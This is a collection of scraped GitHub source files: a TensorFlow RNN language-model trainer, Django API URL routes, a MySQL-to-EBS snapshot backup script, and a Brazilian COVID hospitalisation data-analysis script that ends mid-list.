{"seq_id":"73487279462","text":"'''\nhttps://github.com/gaussic/tf-rnnlm\n\n使用数据集：PTB\nhttp://www.fit.vutbr.cz/~imikolov/rnnlm/simple-examples.tgz\n'''\n\n# -*- coding: utf-8 -*-\n\nfrom preprocess import *\nimport tensorflow as tf\n\n\n'''1. 模型参数设置'''\nBATCH_SIZE = 64             # 单批次数据大小\nNUM_STEPS = 20              # 单句长度\nSTRIDE = 3                  # 取数据的步长\n\nVOCAB_SIZE = 10000          # 字典规模\nEMBEDDING_DIM = 64          # 词向量维度\nHIDDEN_DIM = 128            # 隐含层维度\nNUM_LAYERS = 2              # RNN 层数\nRNN_MODEL = 'gru'\n\nLEARNING_RATE = 0.05        # 学习率\nDROPOUT = 0.2               # 每层丢弃率\n\n'''2. 按批次读取数据'''\nclass PTBInput(object):\n    def __init__(self, data):\n        self.batch_size = BATCH_SIZE\n        self.num_steps = NUM_STEPS\n        self.vocab_size = VOCAB_SIZE\n\n        self.input_data, self.targets = ptb_batching(data,\n            self.batch_size, self.num_steps)\n\n        self.batch_len = self.input_data.shape[0]   # 总批次\n        self.current_batch = 0                      # 当前批次\n\n    '''读取下一批次'''\n    def next_batch(self):\n        x = self.input_data[self.current_batch]\n        y = self.targets[self.current_batch]\n\n        '''转换为one-hot编码'''\n        y_ = np.zeros((y.shape[0], self.vocab_size), dtype=np.bool)\n        for i in range(y.shape[0]):\n            y_[i][y[i]] = 1\n\n        '''如果到达最后一个批次，则回到开头'''\n        self.current_batch = (self.current_batch + 1) % self.batch_len\n\n        return x, y_\n\n\n'''3. PTB模型类 '''\nclass PTBModel(object):\n    def __init__(self, num_steps, vocab_size,\n                 embedding_dim, hidden_dim, num_layers, rnn_model,\n                 learning_rate, dropout,\n                 is_training=True):\n\n        self.num_steps = num_steps\n        self.vocab_size = vocab_size\n\n        self.embedding_dim = embedding_dim\n        self.hidden_dim = hidden_dim\n        self.num_layers = num_layers\n        self.rnn_model = rnn_model\n\n        self.learning_rate = learning_rate\n        self.dropout = dropout\n\n        self.placeholders()     # 输入占位符\n        self.rnn()              # 构建RNN模型\n        self.cost()             # 代价函数\n        self.optimize()         # 优化器\n        self.error()            # 错误率\n\n\n    '''输入占位符'''\n    def placeholders(self):\n        self.inputs = tf.placeholder(tf.int32, [None, self.num_steps])\n        self.targets = tf.placeholder(tf.int32, [None, self.vocab_size])\n\n\n    '''将数据转换为词向量表示'''\n    def input_embedding(self):\n        with tf.device(\"/cpu:0\"):\n            embedding = tf.get_variable(\n                \"embedding\", [self.vocab_size,\n                    self.embedding_dim], dtype=tf.float32)\n            inputs = tf.nn.embedding_lookup(embedding, self.inputs)\n\n        return inputs\n\n\n    '''建立RNN模型'''\n    def rnn(self):\n        # 基本LSTM cell\n        def lstm_cell():\n            return tf.contrib.rnn.BasicLSTMCell(self.hidden_dim,\n                state_is_tuple=True)\n\n        # GRU cell\n        def gru_cell():\n            return tf.contrib.rnn.GRUCell(self.hidden_dim)\n\n        # 在每个cell后添加dropout\n        def dropout_cell():\n            if (self.rnn_model == 'lstm'):\n                cell = lstm_cell()\n            else:\n                cell = gru_cell()\n            return tf.contrib.rnn.DropoutWrapper(cell,\n                output_keep_prob=self.dropout)\n\n        cells = [dropout_cell() for _ in range(self.num_layers)]\n        cell = tf.contrib.rnn.MultiRNNCell(cells, state_is_tuple=True)\n\n        inputs = self.input_embedding()\n        outputs, _ = tf.nn.dynamic_rnn(cell=cell,\n            inputs=inputs, dtype=tf.float32)\n\n        # outputs的形状为[batch_size, num_steps, hidden_dim]\n        last = outputs[:, -1, :]    # 只需最后一个输出\n\n        logits = tf.layers.dense(inputs=last, units=self.vocab_size)\n        prediction = tf.nn.softmax(logits)\n\n        self._logits = logits\n        self._pred = prediction\n\n\n    '''计算交叉熵代价'''\n    def cost(self):\n        cross_entropy = tf.nn.softmax_cross_entropy_with_logits(\n            logits=self._logits, labels=self.targets)\n        cost = tf.reduce_mean(cross_entropy)\n        self.cost = cost\n\n\n    '''使用Adam优化器'''\n    def optimize(self):\n        optimizer = tf.train.AdamOptimizer(learning_rate=self.learning_rate)\n        self.optim = optimizer.minimize(self.cost)\n\n\n    '''计算错误率'''\n    def error(self):\n        mistakes = tf.not_equal(\n            tf.argmax(self.targets, 1), tf.argmax(self._pred, 1))\n        self.errors = tf.reduce_mean(tf.cast(mistakes, tf.float32))\n\n\n'''4. 训练函数'''\ndef run_epoch(num_epochs=5):\n    # 载入训练集数据\n    train_data, _, _, word_list, word_to_id = get_ptb_data('simple-examples/data')\n\n    # 数据分批\n    input_train = PTBInput(train_data)\n    batch_len = input_train.batch_len\n    # 建立模型\n    model = PTBModel(NUM_STEPS, VOCAB_SIZE, EMBEDDING_DIM,\n                     HIDDEN_DIM, NUM_LAYERS, RNN_MODEL,\n                     LEARNING_RATE, DROPOUT)\n\n    # 创建session并初始化变量\n    session = tf.Session()\n    session.run(tf.global_variables_initializer())\n\n    print('开始训练：')\n    for epoch in range(num_epochs):     # 迭代次数\n        for i in range(batch_len):      # 经过batch批次数\n            x_batch, y_batch = input_train.next_batch()\n\n            # 取一批次数据进行优化\n            feed_dict = {model.inputs: x_batch, model.targets: y_batch}\n            session.run(model.optim, feed_dict=feed_dict)\n\n            # 每过500个批次 输出一次结果\n            if i % 500 == 0:\n                cost = session.run(model.cost, feed_dict=feed_dict)\n\n                msg = \"Epoch: {0:>3}, batch: {1:>5}, Loss: {2:>6.3}\"\n                print(msg.format(epoch + 1, i + 1, cost))\n\n                # 输出部分预测结果\n                pred = session.run(model._pred, feed_dict=feed_dict)\n                word_ids = session.run(tf.argmax(pred, 1))\n                print('Predicted:', ' '.join(word_list[w] for w in word_ids))\n                true_ids = np.argmax(y_batch, 1)\n                print('True:', ' '.join(word_list[w] for w in true_ids))\n\n    print('训练结束。')\n    session.close()\n\n\n# 进行训练\nrun_epoch(3)\n","repo_name":"AshkenSC/Python-Gadgets","sub_path":"NLP/NNLM/tf-rnnlm/tf-rnnlm-master/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"17219352511","text":"from django.conf.urls import url\nfrom restful_api import views\nfrom rest_framework.authtoken import views as rest_framework_views\n\nurlpatterns = [\n    url(r'^report/(?P<r_id>[0-9]+)/$', views.get_report_infos),\n    url(r'^apk/(?P<r_id>[0-9]+)/$', views.get_apk),\n    url(r'^pcap/(?P<r_id>[0-9]+)/$', views.upload_pcap),\n    url(r'^flow/(?P<r_id>[0-9]+)/$', views.upload_flow),\n    url(r'^get_auth_token/$', rest_framework_views.obtain_auth_token, name='get_auth_token'),\n]\n","repo_name":"stonfute/exodus","sub_path":"exodus/restful_api/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":473,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"35"}
{"seq_id":"40889507170","text":"import os, sys, subprocess\nimport time, datetime\nimport MySQLdb\nimport boto.ec2\nimport boto.utils\nimport logging\nimport re\nimport functools\nimport time\n\n##############################\n## BEGIN - settings section ##\n##############################\n\n# AWS Credentials\nAWS_KEY = '<< PASTE YOUR AWS KEY HERE >>'\nAWS_SECRET_KEY = '<< PASTE YOUR AWS SECRET KEY HERE >>'\n\n# Mysql data directory\nMYSQL_DATA_DIR = '/var/lib/mysql'\n\n# Mysql host, username and password\n# used for FLUSH commands\nMYSQL_HOST='localhost'\nMYSQL_USERNAME='backup'\nMYSQL_PASSWORD='<< PASTE THE PASSWORD FOR BACKUP USER >>'\n\n# For testing - disable FS freeze or actual snapshot\n# creation\nNO_FS_FREEZE = False\nNO_SNAPSHOT = False\n\nXFS_FREEZE_BIN = '/usr/sbin/xfs_freeze'\n\n# Number of snapshots to keep. If using RAID, this will be multiplied by the number of EBS drives\nKEEP_NUM_SNAPSHOTS = 8\n\n# Path to the log file, if not set STDOUT will be used.\nLOG_FILE = '/var/log/mysql-ebs-snapshot/mysql-ebs-snapshot.log'\n\n############################\n## END - settings section ##\n############################\n\ninstance_tag_name = ''\n\ndef setup_logging():\n\tif LOG_FILE:\n\t\tlogger = logging.getLogger()\n\t\tformatter = logging.Formatter(\"%(asctime)s - %(levelname)s - %(message)s\")\n\t\thandler = logging.FileHandler(LOG_FILE)\n\t\thandler.setFormatter(formatter)\n\t\thandler.setLevel(logging.INFO)\n\t\tlogger.addHandler(handler)\n\t\tlogger.setLevel(logging.INFO)\n\telse:\n\t\tlogging.basicConfig(format=\"%(asctime)s - %(levelname)s - %(message)s\", level=logging.INFO)\n\ndef snapshot_tag_str():\n\treturn time.strftime(\"%Y%m%d_%H%M%S\") + '_' + instance_tag_name\n\ndef get_snapshots():\n\tres = []\n\tunique = set()\n\tsnapshots = ec2_conn.get_all_snapshots()\n\tfor snapshot in snapshots:\n\t\tif 'Name' in snapshot.tags:\n\t\t\tname_tag = snapshot.tags['Name']\n\t\t\tif(re.match(r\"\\d{8}_\\d{6}_\" + instance_tag_name + \"$\", name_tag)):\n\t\t\t\tres.append(snapshot)\n\t\t\t\tunique.add(name_tag)\n\n\treturn (res, sorted(unique))\n\ndef clean_old_snapshots():\n\tif not KEEP_NUM_SNAPSHOTS:\n\t\treturn\n\tlogging.info(\"Performing cleanup of old snapshots...\")\n\t(snapshots, tags) = get_snapshots()\n\tlogging.info(\"Total snapshots found: %s\" %len(tags))\n\tto_delete_count = len(tags) - KEEP_NUM_SNAPSHOTS\n\tif(to_delete_count <= 0):\n\t\treturn\n\tlogging.info(\"Need to delete: %s\" %to_delete_count)\n\tfor i in range(to_delete_count):\n\t\tlogging.info(\"Deleting old snapshot: %s\" %tags[i])\n\t\tfor snap in snapshots:\n\t\t\tif snap.tags['Name'] == tags[i]:\n\t\t\t\tsnap.delete()\n\t\t\t\tlogging.info(\"Deleted snapshot: %s\" %snap.id)\n\ndef mysql_connect():\n\tglobal mysql_conn\n\tglobal db_cursor\n\tlogging.info(\"Connecting to mysql...\")\n\tmysql_conn = MySQLdb.connect(host=MYSQL_HOST, user=MYSQL_USERNAME, passwd=MYSQL_PASSWORD, db='')\n\tdb_cursor = mysql_conn.cursor()\n\tlogging.info(\"Connected.\")\n\ndef mysql_get_binlog_position():\n\t# Oracle documentation recommends getting binlog position from a separate session\n\t# so we connect anew\n\tlconn = MySQLdb.connect(host=MYSQL_HOST, user=MYSQL_USERNAME, passwd=MYSQL_PASSWORD, db='')\n\tlcur = lconn.cursor()\n\tlcur.execute(\"SHOW MASTER STATUS\")\n\treturn lcur.fetchone()\n\ndef mysql_write_binlog_position_info(binlog_info):\n\tbinlog_info_str = \"MASTER_LOG_FILE='%s', MASTER_LOG_POS=%s\" % (binlog_info[0], binlog_info[1])\n\twith open(MYSQL_DATA_DIR + '/binlog_info.txt', 'w') as f:\n\t\tf.write(binlog_info_str)\n\ndef flush_mysql_tables():\n\tlogging.info(\"Flushing mysql tables...\")\n\tdb_cursor.execute(\"FLUSH TABLES WITH READ LOCK\")\n\tlogging.info(\"Flushing engine logs...\")\n\tdb_cursor.execute(\"FLUSH ENGINE LOGS\")\n\tlogging.info(\"Done flushing.\")\n\ndef unlock_mysql_tables():\n\tdb_cursor.execute(\"UNLOCK TABLES\")\n\tlogging.info(\"Mysql tables unlocked.\")\n\ndef fs_freeze(mountpoint):\n\tif(NO_FS_FREEZE):\n\t\tlogging.info(\"Skipping FS freeze.\")\n\t\treturn\n\tlogging.info(\"Freezing the filesystem...\")\n\tsubprocess.check_call([XFS_FREEZE_BIN, '-f', mountpoint])\n\tlogging.info(\"Filesystem frozen.\")\n\ndef fs_unfreeze(mountpoint):\n\tif(NO_FS_FREEZE):\n\t\tlogging.info(\"Skipping FS unfreeze.\")\n\t\treturn\n\ttry:\n\t\tlogging.info(\"Unfreezing filesystem at %s\" %mountpoint)\n\t\tsubprocess.check_call([XFS_FREEZE_BIN, '-u', mountpoint])\n\t\tlogging.info(\"Filesystem unfrozen.\")\n\texcept:\n\t\tlogging.info(\"Failed to unfreeze filesystem.\")\n\ndef path_to_device_and_mountpoint(device):\n\toutput = subprocess.check_output(['df', device])\n\tm = re.search(\"^(\\S+)\\s+\\d+\\s+\\d+\\s+\\d+\\s+\\d+%\\s+(.*)\", output, re.MULTILINE)\n\treturn (m.group(1), m.group(2))\n\ndef list_disks(device):\n\t# check if raid device\n\tlogging.info(\"Checking for RAID membership..\")\n\ttry:\n\t\tdev = os.path.basename(device)\n\t\twith open('/proc/mdstat') as f:\n\t\t\tcontents = f.read()\n\t\t\tm = re.search(r\"^%s : active \\S+ (.*?)\\n\" %dev, contents, re.MULTILINE)\n\t\t\tdevices_str = m.group(1)\n\t\t\tdevices_arr = re.findall(r\"(\\w+?)\\[\\d+\\]\", devices_str)\n\t\t\tdevices_arr = map(lambda s: \"/dev/\" + s, devices_arr)\n\t\t\tlogging.info(\"Obtained raid devices: \" + str(devices_str))\n\t\t\treturn devices_arr\n\texcept:\n\t\tpass\n\tlogging.info(\"Not a RAID device: \" + str(device))\n\treturn [device,]\n\ndef get_volume_ids(disks, instance_id):\n\ttranslated_disks = map(lambda s: re.sub(r\"xvd(.*)\", r\"sd\\1\", s), disks)\n\n\tlogging.info(\"Looking up volume-ids for: \" + str(translated_disks))\n\n\tvolumes = [v.id for v in ec2_conn.get_all_volumes() if v.attach_data.instance_id == instance_id and v.attach_data.device in translated_disks]\n\tlogging.info(\"EC2 Volume IDs found: \" + str(volumes))\n\treturn volumes\n\ndef ebs_create_snapshots(volume_ids, extra_description_str):\n\tif NO_SNAPSHOT:\n\t\tlogging.info(\"Skipping snapshot due to NO_SNAPSHOT.\")\n\t\treturn\n\ttag_str = snapshot_tag_str()\n\tif extra_description_str:\n\t\textra_description_str = \" (\" + extra_description_str + \") \"\n\telse:\n\t\textra_description_str = \"\"\n\n\tfor volume_id in volume_ids:\n\t\tlogging.info(\"Creating snapshot for \" + str(volume_id))\n\t\tsnapshot = ec2_conn.create_snapshot(volume_id, \"Created by mysql-ebs-snapshot\" + extra_description_str)\n\t\t\n\t\tsnapshot.add_tags({'Name': tag_str })\n\t\tlogging.info(\"Snapshot started with id: %s, tag Name: %s\" % (snapshot.id, tag_str))\n\ndef do_snapshot(mysql_data_dir):\n\tglobal ec2_conn\n\tglobal instance_tag_name\n\tglobal KEEP_NUM_SNAPSHOTS\n\n\tif os.environ.get('KEEP_NUM_SNAPSHOTS'):\n\t\tKEEP_NUM_SNAPSHOTS = int(os.environ.get('KEEP_NUM_SNAPSHOTS'))\n\n\tlogging.info(\"########## STARTING SNAPSHOT ##########\")\n\tlogging.info(\"Mysql data dir: \" + str(mysql_data_dir))\n\t(device, mount_point) = path_to_device_and_mountpoint(mysql_data_dir)\n\tlogging.info(\"Device: %s.\" %device)\n\tlogging.info(\"Mountpoint: %s.\" %mount_point)\n\n\tmysql_connect()\n\ttry:\n\t\tglobal ec2_conn\n\t\tinstance_metadata = boto.utils.get_instance_metadata()\n\t\tinstance_id = instance_metadata['instance-id']\n\t\tec2_region = instance_metadata['placement']['availability-zone'][0:-1]\n\t\tlogging.info(\"Connecting to EC2...\")\n\t\tec2_conn = boto.ec2.connect_to_region(ec2_region, aws_access_key_id=AWS_KEY, aws_secret_access_key=AWS_SECRET_KEY)\n\n\t\tinst = ec2_conn.get_only_instances(instance_ids=[instance_id])[0]\n\t\tinstance_tag_name = inst.tags['Name']\n\t\ttag_suffix = os.environ.get('TAG_SUFFIX')\n\t\tif tag_suffix:\n\t\t\tinstance_tag_name = instance_tag_name + '_' + tag_suffix\n\t\t# for raid we'll need to extract actual disk list\n\t\tdisks = list_disks(device)\n\t\tvolume_ids = get_volume_ids(disks, instance_id)\n\t\tif(len(volume_ids) < 1):\n\t\t\traise Exception(\"No EBS volumes found for the specified device.\")\n\t\t# sync the disk\n\t\tlogging.info(\"Syncing to disk.\")\n\t\tsubprocess.check_call('sync')\n\t\t# if using mysql, flush table now\n\t\tflush_mysql_tables()\n\n\n\t\tbinlog_pos = mysql_get_binlog_position()\n\t\tmysql_write_binlog_position_info(binlog_pos)\n\t\textra_description_str = \"binlog:%s@%s\" % (binlog_pos[0], binlog_pos[1])\n\n\t\t# sync the disk again\n\t\tlogging.info(\"Syncing to disk again.\")\n\t\tsubprocess.check_call('sync')\n\n\t\t# freeze the FS\n\t\tfs_freeze(mount_point)\n\n\t\t# create new snapshots and clean the old ones\n\t\tebs_create_snapshots(volume_ids, extra_description_str)\n\t\tclean_old_snapshots()\n\texcept:\n\t\tlogging.exception(\"!!!!!!!!!! EXCEPTION !!!!!!!!!!\")\n\t\traise\n\tfinally:\n\t\tfs_unfreeze(mount_point)\n\t\tunlock_mysql_tables()\n\tlogging.info(\"########## SNAPSHOT FINISHED ##########\")\n\nif __name__ == '__main__':\n\tsetup_logging()\n\tdo_snapshot(MYSQL_DATA_DIR)\n","repo_name":"Shocksir/mysql-ebs-snapshot","sub_path":"mysql-ebs-snapshot.py","file_name":"mysql-ebs-snapshot.py","file_ext":"py","file_size_in_byte":8163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"39509529126","text":"import src.data_mgmt as dm\nimport src.model as m\nimport os\nimport pandas as pd\nfrom src.utils import *\nfrom datetime import datetime\n\nfeature_dict = {'NU_NOTIFIC' : 'Registry ID',\n               'DT_NOTIFIC' : 'Notification Date',\n               'SEM_NOT' : 'Week Post Sympt',\n               'DT_SIN_PRI' : 'Date First Sympt',\n               'SEM_PRI' : 'Test Location ID',\n               'SG_UF_NOT' : 'Test Location Federal',\n               'ID_REGIONA' : 'Test Location Region ID',\n               'CO_REGIONA' : 'Test Location Region',\n               'ID_MUNICIP' : 'Test Location MunicipalityID',\n               'CO_MUN_NOT' : 'Test Location Municipality',\n               'ID_UNIDADE' : 'Test Unit ID',\n               'CO_UNI_NOT' : 'Test Unit',\n               'CS_SEXO' : 'Gender',\n               'DT_NASC' : 'Birth Date',\n               'NU_IDADE_N' : 'Age',\n               'TP_IDADE' : 'Birth Date',\n               'COD_IDADE' : 'Age code',\n               'CS_GESTANT' : 'Gestational Age',\n               'CS_RACA' : 'Race',\n               'CS_ETINIA' : 'Indigenous',\n               'CS_ESCOL_N' : 'Schooling',\n               'ID_PAIS' : 'CountryID',\n               'CO_PAIS' : 'CountryName',\n               'SG_UF' : 'Residency ID',\n               'ID_RG_RESI' : 'Residency Region ID',\n               'CO_RG_RESI' : 'Residency Region',\n               'ID_MN_RESI' : 'Residency Municipality',\n               'CO_MUN_RES' : 'Residency Municipality ID',\n               'CS_ZONA' : 'Residency Type',\n               'SURTO_SG' : 'Acute Respiratory Distress Syndrome',\n               'NOSOCOMIAL' : 'Contracted At Hospital',\n               'AVE_SUINO' : 'Contact Birds Pigs',\n               'FEBRE' : 'Fever',\n               'TOSSE' : 'Cough',\n               'GARGANTA' : 'Throat',\n               'DISPNEIA' : 'Dyspnea',\n               'DESC_RESP' : 'Respiratory Discomfort',\n               'SATURACAO' : 'SpO2 less 95\\%',\n               'DIARREIA' : 'Diarrhea',\n               'VOMITO' : 'Vomiting',\n               'OUTRO_SIN' : 'Other Symptoms',\n               'OUTRO_DES' : 'Other Symptoms Description',\n               'PUERPERA' : 'Postpartum',\n               'CARDIOPATI' : 'Cardiovascular Disease',\n               'HEMATOLOGI' : 'Hematologic Disease',\n               'SIND_DOWN' : 'Down Syndrome',\n               'HEPATICA' : 'Liver Chronic Disease',\n               'ASMA' : 'Asthma',\n               'DIABETES' : 'Diabetes',\n               'NEUROLOGIC' : 'Neurological Disease',\n               'PNEUMOPATI' : 'Another Chronic Pneumopathy',\n               'IMUNODEPRE' : 'Immunosuppression',\n               'RENAL' : 'Renal Chronic Disease',\n               'OBESIDADE' : 'Obesity',\n               'OBES_IMC' : 'BMI',\n               'OUT_MORBI' : 'Other Risks',\n               'MORB_DESC' : 'Other Risks Desc',\n               'VACINA' : 'Flu Shot',\n               'DT_UT_DOSE' : 'Flu Shot Date',\n               'MAE_VAC' : 'Flu Shot Less 6 months',\n               'DT_VAC_MAE' : 'Flu Shot Date Less 6 Months',\n               'M_AMAMENTA' : 'Breast Feeds 6 Months',\n               'DT_DOSEUNI' : 'Date Vaccine Children',\n               'DT_1_DOSE' : 'Date Vaccine Children1',\n               'DT_2_DOSE' : 'Date Vaccine Children2',\n               'ANTIVIRAL' : 'Antiviral Use',\n               'TP_ANTIVIR' : 'Type Antiviral',\n               'OUT_ANTIV' : 'Type Antiviral Other',\n               'DT_ANTIVIR' : 'Antiviral Start Date',\n               'HOSPITAL' : 'Hospitalization',\n               'DT_INTERNA' : 'Date Hospitalization',\n               'SG_UF_INTE' : 'Hospital Region ID',\n               'ID_RG_INTE' : 'Hospital Region IBGE2',\n               'CO_RG_INTE' : 'Hospital Region IBGE',\n               'ID_MN_INTE' : 'Hopspital MunicpialityID',\n               'CO_MU_INTE' : 'Hopspital Municpiality',\n               'ID_UN_INTE' : 'Hospital ID',\n               'CO_UN_INTE' : 'Hospital ID',\n               'UTI' : 'ICU',\n               'DT_ENTUTI' : 'ICU start Date',\n               'DT_SAIDUTI' : 'ICU end Date',\n               'SUPORT_VEN' : 'Ventilator',\n               'RAIOX_RES' : 'Xray Torax Result',\n               'RAIOX_OUT' : 'Xray Torax Other',\n               'DT_RAIOX' : 'Xray Test Date',\n               'AMOSTRA' : 'Amostra',\n               'DT_COLETA' : 'Amostra Date',\n               'TP_AMOSTRA' : 'Amostra Type',\n               'OUT_AMOST' : 'Amostra Other',\n               'REQUI_GAL' : 'gal Sys Test',\n               'IF_RESUL' : 'Test Result',\n               'DT_IF' : 'Test Result Date',\n               'POS_IF_FLU' : 'Test Influenza',\n               'TP_FLU_IF' : 'Influenza Type',\n               'POS_IF_OUT' : 'Positive Others',\n               'IF_VSR' : 'Positive VSR',\n               'IF_PARA1' : 'Positive Influenza 1',\n               'IF_PARA2' : 'Positive Influenza 2',\n               'IF_PARA3' : 'Positive Influenza 3',\n               'IF_ADENO' : 'Positive Adenovirus',\n               'IF_OUTRO' : 'Positive Other',\n               'DS_IF_OUT' : 'Other Respiratory Virus',\n               'LAB_IF' : 'Test Lab',\n               'CO_LAB_IF' : 'Test Lab Other',\n               'PCR_RESUL' : 'Result PCR',\n               'DT_PCR' : 'Result PCR Date',\n               'POS_PCRFLU' : 'Result PCR Influeza',\n               'TP_FLU_PCR' : 'Result PCR Type Influeza',\n               'PCR_FLUASU' : 'Result PCR SubType Influeza',\n               'FLUASU_OUT' : 'Result PCR SubType Influeza_Other',\n               'PCR_FLUBLI' : 'Result PCR SubType Influeza_Other_spec',\n               'FLUBLI_OUT' : 'Result PCR SubType InfluezaB_Linage',\n               'POS_PCROUT' : 'Result PCR Other',\n               'PCR_VSR' : 'Result PCR VSR',\n               'PCR_PARA1' : 'Result PCR parainfluenza1',\n               'PCR_PARA2' : 'Result PCR parainfluenza2',\n               'PCR_PARA3' : 'Result PCR parainfluenza3',\n               'PCR_PARA4' : 'Result PCR parainfluenza4',\n               'PCR_ADENO' : 'Result PCR adenovirus',\n               'PCR_METAP' : 'Result PCR metapneumovirus',\n               'PCR_BOCA' : 'Result PCR bocavirus',\n               'PCR_RINO' : 'Result PCR rinovirus',\n               'PCR_OUTRO' : 'Result PCR other',\n               'DS_PCR_OUT' : 'Result PCR other name',\n               'LAB_PCR' : 'Lab PCR',\n               'CO_LAB_PCR' : 'LabP CR co',\n               'CLASSI_FIN' : 'Result Final',\n               'CLASSI_OUT' : 'Result Final other',\n               'CRITERIO' : 'Result Final confirmation',\n               'EVOLUCAO' : 'Evolution',\n               'DT_EVOLUCA' : 'Death Date',\n               'DT_ENCERRA' : 'Date Quarentine',\n               'OBSERVA' : 'Other Observations',\n               'DT_DIGITA' : 'Date Registry',\n               'HISTO_VGM' : 'HISTO_VGM',\n               'PAIS_VGM' : 'PAIS_VGM',\n               'CO_PS_VGM' : 'CO_PS_VGM',\n               'LO_PS_VGM' : 'LO_PS_VGM',\n               'DT_VGM' : 'DT_VGM',\n               'DT_RT_VGM' : 'DT_RT_VGM',\n               'PCR_SARS2' : 'Result PCR Covid',\n               'PAC_COCBO' : 'Occupation ID',\n               'PAC_DSCBO' : 'Occupation Des'\n              }\nnumeric_cols = ['Age',\n           #'Gestational Age',\n           'BMI'\n                ]\ndate_cols = [\n            'BirthDate',\n           'ICUstartDate',\n           'ICUendDate',\n           'AmostraDate',\n           'DeathDate',\n           'DateQuarentine',\n  ]\ncategorical_cols = ['Gender',\n              'Race',\n              #'Indigenous',\n              'Schooling',\n              'Acute Respiratory Distress Syndrome',\n              'Contracted At Hospital',\n              'Contact Birds Pigs',\n              'Fever',\n              'Cough',\n              'Throat',\n              'Dyspnea',\n              'Respiratory Discomfort',\n              'SpO2 less 95\\%',\n              'Diarrhea',\n              'Vomiting',\n              'Other Symptoms',\n              'Postpartum',\n              'Cardiovascular Disease',\n              'Hematologic Disease',\n              'Down Syndrome',\n              'Liver Chronic Disease',\n              'Asthma',\n              'Diabetes',\n              'Neurological Disease',\n              'Another Chronic Pneumopathy',\n              'Immunosuppression',\n              'Renal Chronic Disease',\n              'Obesity',\n              'Other Risks',\n              #'Flu Shot Less 6 months',\n              #'Breast Feeds 6 Months',\n              'Antiviral Use',\n              #'TypeAntiviral',\n              'Hospitalization',\n              'ICU',\n              'Ventilator',\n              'Xray Torax Result',\n              #'Amostra',\n              'Result Final',\n              'Evolution',\n              #'OccupationID',\n              'Hospital ID',\n             # 'Hospital Region ID',\n              #'Notification Date'\n              ]\nkeep_cols = categorical_cols.copy()\nkeep_cols.extend(numeric_cols)\npost_hosp = [ 'Hospitalization',\n              'Antiviral',\n              'ICU',\n              'Ventilator',\n              'Xray Torax Result',\n              'Amostra',\n              'Evolution'\n              ]\npost_death = [\n              'Hospitalization',\n              'Antiviral',\n              'ICU',\n              'Ventilator',\n              'Amostra',\n              'Evolution'\n]\n\nvar_dictionary = {'typical':{'1.0':'', '2.0':'No'},\n                  'Race':{'1.0':'White', '2.0':'Black', '3.0':'Yellow', '4.0':'Brown', '5.0':'Indigenous'},\n                  'Schooling':{'0.0':'No Education', '1.0':'Elem 1-5', '2.0':'Elem 6-9', '3.0':'Medium 1-3', '4.0':'Superior', '5.0':'NA'},\n                  'Xray Torax Result':{'1.0':'Normal', '2.0':'Interstitial infiltrate', '3.0':'Consolidation', '4.0':'Mixed', '5.0':'Other','6.0':'Not done' },\n                  'Ventilator':{'1.0':'Invasive', '2.0':'Non Invasive', '3.0':'No'},\n                  'Evolution':{'1.0':'Recovered', '2.0':'Death'},\n                  'Gender':{'M':'M', 'F':'F', 'I':'I'},\n                  'Hospital Region ID': {'DF' : 'DF',\t'SP' : 'SP',\t'SC' : 'SC',\t'RJ' : 'RJ',\t'PR' : 'PR',\t'RS' : 'RS',\t'ES' : 'ES',\t'GO' : 'GO',\t'MG' : 'MG',\t'MS' : 'MS',\t'MT' : 'MT',\t'AP' : 'AP',\t'RR' : 'RR',\t'TO' : 'TO',\t'RO' : 'RO',\t'RN' : 'RN',\t'CE' : 'CE',\t'AM' : 'AM',\t'PE' : 'PE',\t'SE' : 'SE',\t'AC' : 'AC',\t'BA' : 'BA',\t'PB' : 'PB',\t'PA' : 'PA',\t'PI' : 'PI',\t'MA' : 'MA',\t'AL' : 'AL'}}\n\nfname = 'data/bd_srag_08-06-2020.csv'\nts = datetime.now().strftime(\"%d-%b-%Y_%H-%M-%S\")\noutdir = 'results/' + ts\nout_dir_p = outdir+'/PredictiveModels'\nout_dir_da = outdir+'/DataAnalytics'\nos.mkdir(outdir)\nos.mkdir(out_dir_p)\nos.mkdir(out_dir_da)\n\n\n# Read Data\ndf = dm.read_data(fname, feature_dict, keep_cols, sep=';')\ndf = dm.filter_positive_test(df)\n#df = df.sample(frac=0.15)\n\n# Add public/private vari\ndf = dm.add_public_private_var(df, fname='data/ICU_beds.csv')\ncategorical_cols.append('Public Hospital')\nkeep_cols.append('Public Hospital')\ndf.drop(columns=['Hospital ID'], inplace=True )\ncategorical_cols.remove('Hospital ID')\nkeep_cols.remove('Hospital ID')\n\n# Add HDI\n'''\nfname = 'data/hdi.csv'\npp_df = pd.read_csv(fname)\npp_df.drop(columns=['public nonICU', 'private nonICU', 'public ICU', 'private ICU'], inplace=True)\ndf = df.merge(pp_df, how='left', on='Hospital ID')\ndel pp_df\ndf.rename(columns={'public hospital': 'Public Hospital'}, inplace=True)\ndf['Public Hospital'].loc[df['Public Hospital'] == 0] = 2.0\ndf['Public Hospital'].loc[df['Public Hospital'] == 1] = 1.0\ndf[\"Public Hospital\"] = df[\"Public Hospital\"].fillna(9.0)\n'''\n\n\n#TODO: CREATE CONGESTION METRIC\n\n# Data Analytics\ndm.create_basic_analytics(df, categorical_vars=categorical_cols, out_dir=out_dir_da)\n\n# Preprocessing\n#TODO: what to do with jobs?\n#table = dm.get_categorical_stats(df[categorical_cols], plot=True,  fname=out_dir_da+'/cat_stats')\ndf = dm.set_mode_on_NA(df, numeric_cols)\ndf = dm.one_hot_encoding(df, categorical_features=categorical_cols)\ndf = dm.remove_features_containing(df, '9.0')\ndf = dm.var_to_categorical(df, var_name='Age', bins=[0,30,50,65,100])\ndf = dm.var_to_categorical(df, var_name='BMI', bins=[18.5,25,30,40,100])\n\ndf = dm.rename_features(df, var_dictionary, ignore_vars=['Age', 'Result Final', 'BMI', 'Gender', 'Hospital Region ID'])\n\n\ndf['Race Brown/Black'] = df['Race Brown'] + df['Race Brown']\ndf.drop(columns=['Race Brown'], inplace=True)\ndf.drop(columns=['Race Black'], inplace=True)\n\n\nrem_vars =['Xray Torax Result Normal',\n           'Xray Torax Result Interstitial infiltrate',\n           'Xray Torax Result Mixed',\n           'Xray Torax Result Other',\n           'Xray Torax Result Not done',\n           'Obesity ',\n           